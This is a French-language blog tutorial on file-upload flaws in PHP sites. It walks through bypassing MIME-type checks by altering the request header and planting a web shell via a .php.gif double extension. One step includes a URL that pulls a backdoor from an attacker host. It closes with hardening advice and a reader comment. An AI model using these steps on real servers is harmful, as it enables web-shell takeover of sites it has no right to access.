Ahmed EL JAOUARI
Oct 10, 2013
15 minutes
Moyen

Le script Upload permet le transfert des fichiers depuis votre machine qui est le client vers le site qui est le serveur, mais souvent le script d’upload contiennent des vulnérabilités.


La faille upload est une faille permettant d’uploader des fichiers avec une extension non autorisée, cette faille est due à la mauvaise configuration du script d’upload ou à l’absence complète de sécurité. Celle ci est généralement présente dans les scripts d’upload d’images. C’est une des failles les plus dangereuses.

Comment ça marche la faille Upload ?

Le but de cette faille est d’uploader un fichier avec une extension non autorisée. (Par exemple un code php) de façon à avoir un accès au serveur cible. Si le formulaire d’upload de votre site n’est pas sécurisé, alors un pirate informatique pourrait sans problème s’amuser à uploader un fichier PHP malveillant (web shell par exemple) qui lui permettrait de prendre le contrôle total de votre application web, et de votre serveur.

Comment un pirate pourrait exploiter la faille Upload ?

Dans cette partie , je vais vous expliquer les différentes manières d’exploiter la faille Upload .

1) Contourner la vérification MIME

Le type MIME d’un fichier désigne le type de contenu dont est composé un fichier. Par exemple, le type MIME des images gif est « image/gif » et le type MIME des images jpg est « image/jpeg »

Certains scripts Upload ne font que vérifier si le MIME correspond aux types de fichiers autorisés par contre une vérification de mime n’est pas suffisante parce qu’un pirate peut contourner cette vérification

Un utilisateur malveillant peut contourner cette vérification. Il peut uploader un fichier PHP en faisant croire au serveur que le fichier est une image JPEG.

Voici comment faire:

Pour démarrer l’altération, ouvrez Firefox puis cliquez sur « outils » ensuite sur « altérer données » et enfin « démarrer altération ».

  • Maintenant sélectionner un fichier php que vous voulez uploder sur le serveur vulnérable et cliquer sur uploder.

  • Une nouvelle fenêtre s’ouvre, cliquer sur Altérer
  • Vous avez le « header ». Maintenant dans POST_DATA, changer « application/octet-stream » par « image/jpg » puis cliquez sur OK et admirer le résultat.

Le Shell a été uploadé avec succès !  Il est passé pour une image JPEG.

Le pirate peut maintenant exécuter le fichier PHP avec l’adresse URL de ce dernier.

2) Double extension

Certains scripts ne font que vérifier l’extension du fichier, encore cette protection peut être contourner par un pirate en faisant une double extension (suivant les hébergeurs).

  • On va d’abord créer un fichier GIF. Pour cela, ouvrez le programme Paint, créer une image de quelques pixels.
  • Ensuite, on ouvre notre fichier GIG avec un éditeur hexadécimal (pour moi Frhed, c’est le meilleur).
  • Maintenant imaginez que l’on insère du code PHP dans notre GIF et qu’on lui met une double extension (.php.gif).
  • Dans notre éditeur, on trouve un espace vide pour y rajouter un en-tête html ainsi que la fonction include.
  • On se retrouve donc avec notre fichier.php.gif.
  • On l’upload, et maintenant l’upload se passe correctement.
  • On se rend à notre fichier.php.gif?test=http://www.sitepirate.com/backdoor.php. Et voila donc notre backdoor est mis en place.

Sécurisation d’upload

Voici quelques conseils qui vous permettront de sécuriser cette faille :

  • Ne jamais se fier à ce que peut envoyer le client.
  • Vérifier la configuration d’Apache afin d’agir en conséquence.
  • Ne pas placer le .htaccess dans le répertoire d’upload.
  • Ne pas permettre l’écrasement de fichier.
  • Générer un nom aléatoire pour le fichier uploadé et enregistrer le nom dans une base de données.
  • Ne pas permettre de voir l’index of du répertoire d’upload.
  • Assigner les bonnes permissions au répertoire.
  • Vérifier le mime-type avec getimagesize() et l’extension du fichier.




LAISSEZ UN COMMENTAIRE

  1. ed

    J’aimerais quand même savoir s’il existe vraiment des gens qui confient l’exécution de fichiers « .gif » à PHP. De base, la partie mime_module d’Apache n’associe le type application/x-httpd-php qu’avec « .php » et « .php3 ». Donc si vous avez choisi de vous tirer une balle dans le pied en ajoutant le type « .gif » sur un serveur qui autorise l’upload de fichiers « .gif », il faut sérieusement revoir votre politique de sécurité.